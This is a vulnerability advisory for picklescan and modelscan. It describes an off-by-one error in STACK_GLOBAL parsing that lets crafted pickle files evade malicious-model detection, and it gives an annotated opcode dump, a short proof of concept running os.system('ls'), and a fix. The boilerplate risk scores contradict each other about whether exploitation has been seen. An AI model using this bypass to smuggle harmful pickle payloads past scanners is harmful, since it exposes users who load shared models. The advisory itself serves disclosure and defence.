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PYSEC-2026-1788

HighCVSS 8.9 / 10
Published Jul 7, 2026·Last modified Jul 7, 2026
Affected Components(0)

No affected components available

Description

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL. Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

Risk Scores
Base Score
8.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.47%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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